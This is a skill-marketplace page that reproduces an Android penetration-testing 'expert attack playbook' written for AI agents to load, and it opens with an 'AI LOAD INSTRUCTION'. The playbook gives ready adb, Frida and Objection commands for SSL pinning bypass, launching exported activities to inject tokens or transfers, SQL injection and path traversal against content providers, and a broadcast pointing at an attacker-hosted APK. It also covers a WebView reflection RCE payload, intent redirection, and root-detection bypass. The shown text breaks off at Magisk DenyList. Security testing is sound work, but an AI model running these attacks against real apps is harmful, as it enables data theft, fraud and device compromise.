Specification
- Skill ID
- yaklang/hack-skills/android-pentesting-tricks
- Publisher
- yaklang
- Repository
- hack-skills
- Installs
- 0
- Files
- 2
- Synced
- Sep 23, 2026
How to use it
Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.
yaklang/hack-skills/android-pentesting-tricksInstalls these files- FRIDA_SCRIPTS.md
- SKILL.md
What this skill tells the agent
SKILL: Android Pentesting Tricks — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.
0. RELATED ROUTING
Before going deep, consider loading:
- mobile-ssl-pinning-bypass for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
- ios-pentesting-tricks when also testing the iOS version of the same app
- api-sec for backend API security testing once traffic is intercepted
Advanced Reference
Also load FRIDA_SCRIPTS.md when you need:
- Ready-to-use Frida script templates for common Android testing tasks
- Detailed hook points for OkHttp, Retrofit, Volley, WebView
- Root detection bypass script collection
1. SSL PINNING BYPASS
1.1 Frida Universal Bypass
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause| Hook Point | Library/Class | Coverage |
|---|---|---|
X509TrustManager.checkServerTrusted | Android SDK | All standard HTTPS |
OkHttpClient.Builder.sslSocketFactory | OkHttp 3.x/4.x | Square OkHttp |
CertificatePinner.check | OkHttp 3.x/4.x | OkHttp pinning |
HttpsURLConnection.setSSLSocketFactory | Android SDK | Legacy HTTPS |
SSLContext.init | Android SDK | Custom SSL contexts |
WebViewClient.onReceivedSslError | WebView | WebView SSL errors |
TrustManagerFactory.getTrustManagers | Android SDK | Factory-created TMs |
1.2 Objection (Quick Method)
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable1.3 Network Security Config (Debug Builds)
If you can modify the APK or it's a debug build:
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" /> <!-- Trust user-installed CAs -->
</trust-anchors>
</debug-overrides>
</network-security-config>1.4 Magisk Module Approach
| Module | Method | Scope |
|---|---|---|
| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |
2. COMPONENT EXPOSURE
2.1 Exported Activities
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
-d "target://callback?token=attacker_token"
# With extra data
adb shell am start -n com.target.app/.TransferActivity \
--es "amount" "99999" --es "recipient" "attacker"2.2 Content Providers
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users
# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"| Provider Type | Attack Vector | Impact |
|---|---|---|
| Database-backed | SQL injection via query() projection/selection | Data leak, auth bypass |
| File-backed | Path traversal via URI | Read arbitrary files |
| Parcelable | Type confusion in custom Parcelable | Code execution |
2.3 Broadcast Receivers
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
--es "url" "http://attacker.com/malicious.apk"
# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data2.4 Exported Services
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
--es "command" "exfiltrate"
# List running services
adb shell dumpsys activity services | grep com.target3. WEBVIEW VULNERABILITIES
3.1 JavaScript Interface RCE (Pre-API 17)
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");
// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
// .getMethod('getRuntime').invoke(null).exec('id')3.2 Modern WebView Attacks
| Vulnerability | Condition | Exploit |
|---|---|---|
setJavaScriptEnabled(true) + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
setAllowFileAccessFromFileURLs(true) | file:// can read other file:// | Load file:///data/data/com.target/... |
setAllowUniversalAccessFromFileURLs(true) | file:// can access any origin | Exfiltrate via XHR to attacker |
loadUrl(user_controlled) | User input in loadUrl | javascript: scheme or file:// |
shouldOverrideUrlLoading bypass | Incomplete URL validation | Redirect to attacker-controlled page |
evaluateJavascript with tainted data | User data in JS execution | XSS in WebView context |
3.3 Deep Link to WebView Chain
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions4. INTENT REDIRECTION
Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
--es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"| Pattern | Indicator | Risk |
|---|---|---|
getParcelableExtra → startActivity | Intent-in-Intent | Start non-exported activities |
getStringExtra("url") → startActivity(Intent.ACTION_VIEW) | URL forwarding | Open arbitrary URLs |
getStringExtra("class") → Class.forName → startActivity | Dynamic class loading | Start any activity by name |
5. ROOT DETECTION BYPASS
5.1 Common Root Detection Checks
| Check | What It Detects | Frida Bypass |
|---|---|---|
su binary exists | /system/xbin/su, /sbin/su | Hook File.exists() → return false |
| Build tags contain "test-keys" | Build.TAGS | Hook Build.TAGS → return "release-keys" |
| Magisk Manager installed | Package name check | Hook PackageManager.getPackageInfo |
| Superuser.apk present | Su management app | Hook File.exists() |
| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
| Abnormal system properties | ro.debuggable=1, etc. | Hook SystemProperties.get |
5.2 Magisk DenyList (Previously MagiskHide)
# Enable DenyList in Magisk ManagerMore from yaklang
Use this skill in a project
Open any RiverX project, search the Skills panel for yaklang/hack-skills/android-pentesting-tricks, and install it in one click.
